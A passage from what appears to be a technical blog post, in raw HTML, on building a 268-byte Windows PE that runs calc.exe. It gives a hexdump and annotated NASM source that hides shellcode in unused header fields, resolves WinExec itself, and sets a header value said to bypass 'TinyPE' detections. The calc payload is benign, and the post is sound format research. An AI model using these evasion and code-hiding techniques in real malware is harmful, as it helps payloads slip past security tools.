000000e0: f3a6 740a 4039 d872 e583 c426 eb41 8b4d ..t.@9.r...&amp;amp;.A.M
000000f0: f489 d38b 55ec 668b 0441 8b04 8201 d831 ....U.f..A.....1
00000100: d252 682e 6578 6568 6361 6c63 686d 3332 .Rh.exehcalchm32
00000110: 5c68 7973 7465 6877 735c 5368 696e 646f \hystehws\Shindo
00000120: 6843 3a5c 5789 e66a 0a56 ffd0 83c4 46c3 hC:\W..j.V....F.
&lt;/code>&lt;/pre>&lt;p>Being shellcode, the payload has some extra instructions to preserve and restore
registers, which help to clean up the execution if it was to be injected. We can
safely take out those instructions and continue.&lt;/p>
&lt;p>I did some other small optimizations to reduce the code size, but other than
that it&amp;rsquo;s a pretty tight payload.&lt;/p>
&lt;h2 id="abusing-the-headers">(Ab)using the Headers&lt;/h2>
&lt;p>I had looked through some of the previous documentation on aspects of the header
that aren&amp;rsquo;t used. The headers are already overlayed, but within the overlay,
there are still some portions of the headers that are unused.
These areas can be used to store data or execute code without interfering with
the binary&amp;rsquo;s execution.&lt;/p>
&lt;p>The areas that I used are listed on the side here&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Start&lt;/th>
&lt;th>End&lt;/th>
&lt;th>Len&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>0x0C&lt;/td>
&lt;td>0x18&lt;/td>
&lt;td>12&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>0x1E&lt;/td>
&lt;td>0x2C&lt;/td>
&lt;td>14&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>0x44&lt;/td>
&lt;td>0x4C&lt;/td>
&lt;td>8&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>0x4E&lt;/td>
&lt;td>0x54&lt;/td>
&lt;td>6&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>0x5C&lt;/td>
&lt;td>0x60&lt;/td>
&lt;td>4&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>0x70&lt;/td>
&lt;td>0x78&lt;/td>
&lt;td>8&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>When you jump around a header like this, you&amp;rsquo;ll have to remember a couple of things. First, for each cave&lt;br>
in the header, unless you are ending the code there, you must make sure you have enough room for your jumps
to other areas.&lt;/p>
&lt;p>I tend to allocate 2 bytes, because &lt;a href="https://thestarman.pcministry.com/asm/2bytejumps.htm">short jumps&lt;/a> are generally the easiest to
work with, but you can use whatever you like as long as you keep the space they
take up in mind!&lt;/p>
&lt;p>The other thing is, if you are jumping past the bounds of 127 bytes forward or
128 bytes back with a short jump, the size of the instruction increases.&lt;/p>
&lt;p>Something else I noticed was that NumberOfRvaAndSizes is touchy, and it possibly
prevents the binary from loading if you put something there. This and other
header areas are certainly open for experimentation!&lt;/p>
&lt;p>Another trick of mine for &lt;a href="https://n0.lol/ebm/">ELF binary mangling&lt;/a> was to put the code entrypoint
in the header itself. This is not as straightforward with 64 bit PEs.&lt;/p>
&lt;p>Windows 8 established a restriction that the AddressOfEntryPoint can&amp;rsquo;t be
smaller than SizeOfHeaders. The way around this is to set SizeOfHeaders to
AddressOfEntryPoint. More info &lt;a href="https://reverseengineering.stackexchange.com/questions/2689/can-i-set-entry-point-at-code-in-pe-headers/2691#2691">here&lt;/a>.&lt;/p>
&lt;p>I didn&amp;rsquo;t end up doing this trick, because the size of the binary was already
very small, and I wanted to fill up each part of it until the very end.&lt;/p>
&lt;h2 id="final-binary">Final Binary&lt;/h2>
&lt;p>So, armed with all of this information, this is the binary I ended up with.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt"> 10
&lt;/span>&lt;span class="lnt"> 11
&lt;/span>&lt;span class="lnt"> 12
&lt;/span>&lt;span class="lnt"> 13
&lt;/span>&lt;span class="lnt"> 14
&lt;/span>&lt;span class="lnt"> 15
&lt;/span>&lt;span class="lnt"> 16
&lt;/span>&lt;span class="lnt"> 17
&lt;/span>&lt;span class="lnt"> 18
&lt;/span>&lt;span class="lnt"> 19
&lt;/span>&lt;span class="lnt"> 20
&lt;/span>&lt;span class="lnt"> 21
&lt;/span>&lt;span class="lnt"> 22
&lt;/span>&lt;span class="lnt"> 23
&lt;/span>&lt;span class="lnt"> 24
&lt;/span>&lt;span class="lnt"> 25
&lt;/span>&lt;span class="lnt"> 26
&lt;/span>&lt;span class="lnt"> 27
&lt;/span>&lt;span class="lnt"> 28
&lt;/span>&lt;span class="lnt"> 29
&lt;/span>&lt;span class="lnt"> 30
&lt;/span>&lt;span class="lnt"> 31
&lt;/span>&lt;span class="lnt"> 32
&lt;/span>&lt;span class="lnt"> 33
&lt;/span>&lt;span class="lnt"> 34
&lt;/span>&lt;span class="lnt"> 35
&lt;/span>&lt;span class="lnt"> 36
&lt;/span>&lt;span class="lnt"> 37
&lt;/span>&lt;span class="lnt"> 38
&lt;/span>&lt;span class="lnt"> 39
&lt;/span>&lt;span class="lnt"> 40
&lt;/span>&lt;span class="lnt"> 41
&lt;/span>&lt;span class="lnt"> 42
&lt;/span>&lt;span class="lnt"> 43
&lt;/span>&lt;span class="lnt"> 44
&lt;/span>&lt;span class="lnt"> 45
&lt;/span>&lt;span class="lnt"> 46
&lt;/span>&lt;span class="lnt"> 47
&lt;/span>&lt;span class="lnt"> 48
&lt;/span>&lt;span class="lnt"> 49
&lt;/span>&lt;span class="lnt"> 50
&lt;/span>&lt;span class="lnt"> 51
&lt;/span>&lt;span class="lnt"> 52
&lt;/span>&lt;span class="lnt"> 53
&lt;/span>&lt;span class="lnt"> 54
&lt;/span>&lt;span class="lnt"> 55
&lt;/span>&lt;span class="lnt"> 56
&lt;/span>&lt;span class="lnt"> 57
&lt;/span>&lt;span class="lnt"> 58
&lt;/span>&lt;span class="lnt"> 59
&lt;/span>&lt;span class="lnt"> 60
&lt;/span>&lt;span class="lnt"> 61
&lt;/span>&lt;span class="lnt"> 62
&lt;/span>&lt;span class="lnt"> 63
&lt;/span>&lt;span class="lnt"> 64
&lt;/span>&lt;span class="lnt"> 65
&lt;/span>&lt;span class="lnt"> 66
&lt;/span>&lt;span class="lnt"> 67
&lt;/span>&lt;span class="lnt"> 68
&lt;/span>&lt;span class="lnt"> 69
&lt;/span>&lt;span class="lnt"> 70
&lt;/span>&lt;span class="lnt"> 71
&lt;/span>&lt;span class="lnt"> 72
&lt;/span>&lt;span class="lnt"> 73
&lt;/span>&lt;span class="lnt"> 74
&lt;/span>&lt;span class="lnt"> 75
&lt;/span>&lt;span class="lnt"> 76
&lt;/span>&lt;span class="lnt"> 77
&lt;/span>&lt;span class="lnt"> 78
&lt;/span>&lt;span class="lnt"> 79
&lt;/span>&lt;span class="lnt"> 80
&lt;/span>&lt;span class="lnt"> 81
&lt;/span>&lt;span class="lnt"> 82
&lt;/span>&lt;span class="lnt"> 83
&lt;/span>&lt;span class="lnt"> 84
&lt;/span>&lt;span class="lnt"> 85
&lt;/span>&lt;span class="lnt"> 86
&lt;/span>&lt;span class="lnt"> 87
&lt;/span>&lt;span class="lnt"> 88
&lt;/span>&lt;span class="lnt"> 89
&lt;/span>&lt;span class="lnt"> 90
&lt;/span>&lt;span class="lnt"> 91
&lt;/span>&lt;span class="lnt"> 92
&lt;/span>&lt;span class="lnt"> 93
&lt;/span>&lt;span class="lnt"> 94
&lt;/span>&lt;span class="lnt"> 95
&lt;/span>&lt;span class="lnt"> 96
&lt;/span>&lt;span class="lnt"> 97
&lt;/span>&lt;span class="lnt"> 98
&lt;/span>&lt;span class="lnt"> 99
&lt;/span>&lt;span class="lnt">100
&lt;/span>&lt;span class="lnt">101
&lt;/span>&lt;span class="lnt">102
&lt;/span>&lt;span class="lnt">103
&lt;/span>&lt;span class="lnt">104
&lt;/span>&lt;span class="lnt">105
&lt;/span>&lt;span class="lnt">106
&lt;/span>&lt;span class="lnt">107
&lt;/span>&lt;span class="lnt">108
&lt;/span>&lt;span class="lnt">109
&lt;/span>&lt;span class="lnt">110
&lt;/span>&lt;span class="lnt">111
&lt;/span>&lt;span class="lnt">112
&lt;/span>&lt;span class="lnt">113
&lt;/span>&lt;span class="lnt">114
&lt;/span>&lt;span class="lnt">115
&lt;/span>&lt;span class="lnt">116
&lt;/span>&lt;span class="lnt">117
&lt;/span>&lt;span class="lnt">118
&lt;/span>&lt;span class="lnt">119
&lt;/span>&lt;span class="lnt">120
&lt;/span>&lt;span class="lnt">121
&lt;/span>&lt;span class="lnt">122
&lt;/span>&lt;span class="lnt">123
&lt;/span>&lt;span class="lnt">124
&lt;/span>&lt;span class="lnt">125
&lt;/span>&lt;span class="lnt">126
&lt;/span>&lt;span class="lnt">127
&lt;/span>&lt;span class="lnt">128
&lt;/span>&lt;span class="lnt">129
&lt;/span>&lt;span class="lnt">130
&lt;/span>&lt;span class="lnt">131
&lt;/span>&lt;span class="lnt">132
&lt;/span>&lt;span class="lnt">133
&lt;/span>&lt;span class="lnt">134
&lt;/span>&lt;span class="lnt">135
&lt;/span>&lt;span class="lnt">136
&lt;/span>&lt;span class="lnt">137
&lt;/span>&lt;span class="lnt">138
&lt;/span>&lt;span class="lnt">139
&lt;/span>&lt;span class="lnt">140
&lt;/span>&lt;span class="lnt">141
&lt;/span>&lt;span class="lnt">142
&lt;/span>&lt;span class="lnt">143
&lt;/span>&lt;span class="lnt">144
&lt;/span>&lt;span class="lnt">145
&lt;/span>&lt;span class="lnt">146
&lt;/span>&lt;span class="lnt">147
&lt;/span>&lt;span class="lnt">148
&lt;/span>&lt;span class="lnt">149
&lt;/span>&lt;span class="lnt">150
&lt;/span>&lt;span class="lnt">151
&lt;/span>&lt;span class="lnt">152
&lt;/span>&lt;span class="lnt">153
&lt;/span>&lt;span class="lnt">154
&lt;/span>&lt;span class="lnt">155
&lt;/span>&lt;span class="lnt">156
&lt;/span>&lt;span class="lnt">157
&lt;/span>&lt;span class="lnt">158
&lt;/span>&lt;span class="lnt">159
&lt;/span>&lt;span class="lnt">160
&lt;/span>&lt;span class="lnt">161
&lt;/span>&lt;span class="lnt">162
&lt;/span>&lt;span class="lnt">163
&lt;/span>&lt;span class="lnt">164
&lt;/span>&lt;span class="lnt">165
&lt;/span>&lt;span class="lnt">166
&lt;/span>&lt;span class="lnt">167
&lt;/span>&lt;span class="lnt">168
&lt;/span>&lt;span class="lnt">169
&lt;/span>&lt;span class="lnt">170
&lt;/span>&lt;span class="lnt">171
&lt;/span>&lt;span class="lnt">172
&lt;/span>&lt;span class="lnt">173
&lt;/span>&lt;span class="lnt">174
&lt;/span>&lt;span class="lnt">175
&lt;/span>&lt;span class="lnt">176
&lt;/span>&lt;span class="lnt">177
&lt;/span>&lt;span class="lnt">178
&lt;/span>&lt;span class="lnt">179
&lt;/span>&lt;span class="lnt">180
&lt;/span>&lt;span class="lnt">181
&lt;/span>&lt;span class="lnt">182
&lt;/span>&lt;span class="lnt">183
&lt;/span>&lt;span class="lnt">184
&lt;/span>&lt;span class="lnt">185
&lt;/span>&lt;span class="lnt">186
&lt;/span>&lt;span class="lnt">187
&lt;/span>&lt;span class="lnt">188
&lt;/span>&lt;span class="lnt">189
&lt;/span>&lt;span class="lnt">190
&lt;/span>&lt;span class="lnt">191
&lt;/span>&lt;span class="lnt">192
&lt;/span>&lt;span class="lnt">193
&lt;/span>&lt;span class="lnt">194
&lt;/span>&lt;span class="lnt">195
&lt;/span>&lt;span class="lnt">196
&lt;/span>&lt;span class="lnt">197
&lt;/span>&lt;span class="lnt">198
&lt;/span>&lt;span class="lnt">199
&lt;/span>&lt;span class="lnt">200
&lt;/span>&lt;span class="lnt">201
&lt;/span>&lt;span class="lnt">202
&lt;/span>&lt;span class="lnt">203
&lt;/span>&lt;span class="lnt">204
&lt;/span>&lt;span class="lnt">205
&lt;/span>&lt;span class="lnt">206
&lt;/span>&lt;span class="lnt">207
&lt;/span>&lt;span class="lnt">208
&lt;/span>&lt;span class="lnt">209
&lt;/span>&lt;span class="lnt">210
&lt;/span>&lt;span class="lnt">211
&lt;/span>&lt;span class="lnt">212
&lt;/span>&lt;span class="lnt">213
&lt;/span>&lt;span class="lnt">214
&lt;/span>&lt;span class="lnt">215
&lt;/span>&lt;span class="lnt">216
&lt;/span>&lt;span class="lnt">217
&lt;/span>&lt;span class="lnt">218
&lt;/span>&lt;span class="lnt">219
&lt;/span>&lt;span class="lnt">220
&lt;/span>&lt;span class="lnt">221
&lt;/span>&lt;span class="lnt">222
&lt;/span>&lt;span class="lnt">223
&lt;/span>&lt;span class="lnt">224
&lt;/span>&lt;span class="lnt">225
&lt;/span>&lt;span class="lnt">226
&lt;/span>&lt;span class="lnt">227
&lt;/span>&lt;span class="lnt">228
&lt;/span>&lt;span class="lnt">229
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-nasm" data-lang="nasm">&lt;span class="line">&lt;span class="cl">&lt;span class="k">BITS&lt;/span> &lt;span class="mi">32&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;--- Smallest possible Win10 binary that execs calc.exe --------------------\\--&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Compile:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; nasm -f bin -o tiny268_64.exe tiny268_64.asm&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Notice: You might get an error like &amp;#34;Cannot be started 0xc000000005&amp;#34;,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; this is fine, just run it again.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Versions:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Bypass TinyPE detections Date: 20200330&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Size: 268 bytes (SHA1) c935b155c6cdeacc495d7b695e71f0229e9ce5fc&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; First version at 268 bytes Date: 20200329&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Size: 268 bytes (SHA1) 60e2c89d391052cc00145d277883e7feb6b67dd0 &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Original Version without optimization Date: 20200328&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Size: 304 bytes (SHA1) bb59448a94acee171ea574e3a50dd6a2b75f4965 &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Breakdown of Sections - Listed in comments of the header 0x00:0x7C&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; MC-- MD-- ME-- MF-- MG-- MH--&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; MA-- MB-- PA------- PB-- PC-- PD-------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 00000000: 4d5a 0001 5045 0000 4c01 0000 31f6 83ec MZ..PE..L...1...&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; MI-- MJ-- MK-- ML-- MM-- MN-- MO-------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; PE------- PF------- PG-- PH-- OA-- OBOC&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 00000010: 1856 6a63 9090 eb06 6000 0301 0b01 6668 .Vjc....`.....fh&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; MO------- MP-- MQ-- MR-----------------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; OD------- OE------- OF------- OG-------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 00000020: 7865 6857 696e 4589 65fc eb22 7c00 0000 xehWinE.e..&amp;#34;|...&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; MR--------------------------- MS-------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; OH------- OI------- OJ------- OK-------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 00000030: 0000 0000 0000 0000 0000 4000 0400 0000 ..........@.....&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; OL------- OM-- ON-- OO-- OP-- OQ-- OR--&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 00000040: 0400 0000 8b5b 0c8b 5b14 eb10 0500 648b .....[..[.....d.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; OS------- OT------- OU------- OV-------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 00000050: 5e30 ebf0 8000 0000 7c00 0000 8b1b eb10 ^0......|.......&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; OW-- OX-- OY------- OZ------- O1-------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 00000060: 0200 0004 0000 1000 0010 0000 0000 1000 ................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; O2------- O3------- O4------- CK-------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 00000070: 8b1b 8b5b 10eb 07c3 0000 0000 eb8e 895d ...[...........]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 00000080: f88b 433c 01d8 8b40 7801 d88b 4824 01d9 ..C&amp;lt;...@x...H$..&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 00000090: 894d f48b 7820 01df 897d f08b 501c 01da .M..x ...}..P...&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 000000a0: 8955 ec8b 5814 31c0 8b55 f88b 7df0 8b75 .U..X.1..U..}..u&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 000000b0: fc31 c9fc 8b3c 8701 d766 83c1 08f3 a674 .1...&amp;lt;...f.....t&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 000000c0: 0a40 39d8 72e5 83c4 26eb ac8b 4df4 89d3 .@9.r...&amp;amp;...M...&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 000000d0: 8b55 ec66 8b04 418b 0482 01d8 31d2 5268 .U.f..A.....1.Rh&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 000000e0: 2e65 7865 6863 616c 6368 6d33 325c 6879 .exehcalchm32\hy&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 000000f0: 7374 6568 7773 5c53 6869 6e64 6f68 433a stehws\ShindohC:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 00000100: 5c57 89e6 6a0a 56ff d083 c446 \W..j.V....F&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Places code could be executed ------------------------------------------------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Range Len Note&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 0x0C:0x18 12 jump0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 0x1E:0x2C 14 jump1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 0x44:0x4C 8 jump3&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 0x4E:0x54 6 jump2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 0x5C:0x60 4 jump4 &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; 0x70:0x78 8 jump5 + endy&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;--- Start of MZ Header --------------------------------------------------------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">mzhdr:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dw&lt;/span> &lt;span class="s">&amp;#34;MZ&amp;#34;&lt;/span> &lt;span class="c1">; 0x00 ; [MA] e_magic&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dw&lt;/span> &lt;span class="mh">0x100&lt;/span> &lt;span class="c1">; 0x02 ; [MB] e_cblp This value will bypass TinyPE detections!&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;--- Start of PE Header --------------------------------------------------------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">pesig:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dd&lt;/span> &lt;span class="s">&amp;#34;PE&amp;#34;&lt;/span> &lt;span class="c1">; 0x04 ; [MC] e_cp [MD] e_crlc [PA] PE Signature&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">pehdr:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dw&lt;/span> &lt;span class="mh">0x014C&lt;/span> &lt;span class="c1">; 0x08 ; [ME] e_cparhdr [PB] Machine (Intel 386)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dw&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="c1">; 0x0A ; [MF] e_minalloc [PC] NumberOfSections (0 haha)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">jump0:&lt;/span> &lt;span class="c1">; WinExec Setup Part 1 --------------------------------------------------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">xor&lt;/span> &lt;span class="nb">esi&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="nb">esi&lt;/span> &lt;span class="c1">; 0x0C ; 31f6 ; Clear ESI [MG] e_maxalloc [PD] TimeDateStamp &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">sub&lt;/span> &lt;span class="nb">esp&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x18&lt;/span> &lt;span class="c1">; 0x0E ; 83ec18 ; Make room for our bullshit [MH] e_ss [MI] e_sp&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">push&lt;/span> &lt;span class="nb">esi&lt;/span> &lt;span class="c1">; 0x11 ; 56 ; Null [PE] PointerToSymbolTable&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">push&lt;/span> &lt;span class="mh">0x63&lt;/span> &lt;span class="c1">; 0x12 ; 6a63 ; &amp;#34;c&amp;#34; [MJ] e_csum &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">nop&lt;/span> &lt;span class="c1">; 0x14 ; 90 ; spacer [MK] e_ip [PF] NumberOfSymbols &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">nop&lt;/span> &lt;span class="c1">; 0x15 ; 90 ; spacer &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">jmp&lt;/span> &lt;span class="nv">jump1&lt;/span> &lt;span class="c1">; 0x16 ; eb06 ; [ML] e_cs&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dw&lt;/span> &lt;span class="mh">0x60&lt;/span> &lt;span class="c1">; 0x18 ; [MM] e_lsarlc [PG] SizeOfOptionalHeader&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dw&lt;/span> &lt;span class="mh">0x103&lt;/span> &lt;span class="c1">; 0x1A ; [MN] e_ovno [PH] Characteristics&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;--- Start of Optional Header --------------------------------------------------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dw&lt;/span> &lt;span class="mh">0x10B&lt;/span> &lt;span class="c1">; 0x1C ; [MO] e_res [OA] Magic (PE32)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">jump1:&lt;/span> &lt;span class="c1">; WinExec Setup Part 2 --------------------------------------------------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">push&lt;/span> &lt;span class="kt">word&lt;/span> &lt;span class="mh">0x6578&lt;/span> &lt;span class="c1">;0x1E; 66687865 ; &amp;#34;ex&amp;#34; [OB] MajorLinkerVersion &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">; [OC] MinorLinkerVersion [OD] SizeOfCode&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">push&lt;/span> &lt;span class="mh">0x456e6957&lt;/span> &lt;span class="c1">;0x22; 6857696e45 ; &amp;#34;EniW&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">; [MP] e_oemid [MQ] e_oeminfo [OE] SizeOfInitializedData&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="kt">dword&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">ebp&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="nb">esp&lt;/span> &lt;span class="c1">;0x27; 8965fc; Save our stack pointer addr for later &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">; [MR] e_res2 [OF] SizeOfUninitializedData&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">jmp&lt;/span> &lt;span class="nv">jump2&lt;/span> &lt;span class="c1">; 0x2A ; eb22 &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dd&lt;/span> &lt;span class="mh">0x7C&lt;/span> &lt;span class="c1">; 0x2C ; [OG] AddressOfEntryPoint (Could make a label pointer)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dd&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="c1">; 0x30 ; [OH] BaseOfCode&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dd&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="c1">; 0x34 ; [OI] BaseOfData&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dd&lt;/span> &lt;span class="mh">0x400000&lt;/span> &lt;span class="c1">; 0x38 ; [OJ] ImageBase&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dd&lt;/span> &lt;span class="mi">4&lt;/span> &lt;span class="c1">; 0x3C ; [MS] e_lfanew [OK] SectionAlignment&lt;/span>
